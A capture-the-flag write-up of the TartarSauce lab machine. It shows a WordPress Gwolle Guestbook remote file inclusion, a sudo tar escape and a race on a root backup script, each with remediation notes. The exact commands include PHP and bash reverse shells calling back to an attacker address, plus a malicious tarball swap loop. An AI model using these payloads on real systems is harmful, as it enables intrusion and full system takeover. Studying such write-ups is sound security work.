jperezduerto.info
TartarSauce
Summary
The web server's robots.txt explicitly listed every hidden application under /webservices/, pointing I directly to a WordPress site. Enumerating installed plugins revealed the Gwolle Guestbook plugin (≤1.5.3), which contains an unauthenticated Remote File Inclusion flaw (CVE-2015-8351): a single GET request caused the server to fetch and execute a PHP reverse shell hosted on my machine, landing a shell as the web server account (www-data). Checking sudo permissions exposed a passwordless rule letting www-data run /bin/tar as user onuma — GNU tar's checkpoint-action flag turned this into instant command execution as onuma, and the user flag was read directly.
As onuma, a root-owned backup script (/usr/sbin/backuperer) was found to write a tar archive to a world-accessible path in /var/tmp/, sleep, then extract it as root with no integrity check. A polling loop replaced the archive with a malicious tarball the instant it appeared; when root's extraction ran, my own code executed with full privileges and /root/root.txt was read — complete system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 1
All Disallow entries are candidate attack paths requiring no further discovery.
$ curl -s http://$TARGET/robots.txtFixRemove internal application paths from robots.txtMedium
Exact commands 2
Extract active plugin names from rendered page source.
$ curl -s "http://$TARGET/webservices/wp/?page_id=2" | grep -iEo 'wp-content/plugins/[a-z0-9_-]+' | sort -uProbe for RFI reachability: HTTP 500 confirms include() is executed; 404 means the file is absent.
$ curl -s "http://$TARGET/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://127.0.0.1/"FixRemove or patch the Gwolle Guestbook plugin (CVE-2015-8351)Critical
Exact commands 4
The filename MUST be wp-load.php — that is what ajaxresponse.php appends to abspath before including it.
$ mkdir -p /tmp/ts_rfi2 && cat > /tmp/ts_rfi2/wp-load.php <<PHP
<?php system('/bin/bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4445 0>&1"'); ?>
PHPServe the payload from my machine; replace $ATTACKER_IP with your actual IP.
$ python3 -m http.server 8001 --bind $ATTACKER_IP --directory /tmp/ts_rfi2 &Start the reverse-shell listener in a separate terminal before firing the RFI.
$ nc -lvnp 4445Trigger the RFI; the target fetches and executes wp-load.php and the reverse shell connects.
$ curl -sS "http://$TARGET/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://$ATTACKER_IP:8001/"Exact commands 1
Run inside the www-data shell; confirms the tar NOPASSWD rule for onuma.
$ sudo -lFixRemove the passwordless sudo rule granting the web server account access to tarCritical
Exact commands 3
Confirm escalation and read the user flag in a single command.
$ sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec="/bin/sh -c 'id; cat /home/onuma/user.txt'"
uid=1000(onuma)Open a second listener for an interactive onuma shell.
$ nc -lvnp 4446Spawn an interactive reverse shell as onuma for further enumeration.
$ sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec="/bin/sh -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4446 0>&1'"Exact commands 2
Read the script as onuma; note the /var/tmp/.<random> naming pattern and the sleep duration.
$ cat /usr/sbin/backupererDetermine how frequently the script runs to calibrate the race timing.
$ systemctl list-timers --all; ls -la /etc/cron.d/ /etc/cron.hourly/ /var/spool/cron/crontabs/FixEliminate the TOCTOU race condition in the backuperer root scriptCritical
Exact commands 3
Build the malicious tarball; the PHP file lands under the web root after root extracts the archive.
$ mkdir -p /tmp/evilroot/var/www/html/tsleak && cat > /tmp/evilroot/var/www/html/tsleak/cmd.php <<'PHP'
<?php system('cat /root/root.txt'); ?>
PHP
tar -cvzf /tmp/evilroot.tgz -C /tmp/evilroot .Poll for the newly created backup file and overwrite it immediately; run as onuma.
$ while true; do
f=$(find /var/tmp -maxdepth 1 -type f -name '.*' -printf '%T@ %p\n' 2>/dev/null | sort -rn | head -1 | awk '{print $2}')
[ -n "$f" ] && cp /tmp/evilroot.tgz "$f" && echo "TARTRIGGER: replaced $f" && break
doneAfter the race is won, serve a fresh wp-load.php that reads /root/root.txt and trigger the RFI to capture the root flag.
$ curl -sS "http://$TARGET/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://$ATTACKER_IP:8001/"Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 80/tcp | http Apache httpd 2.4.18 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.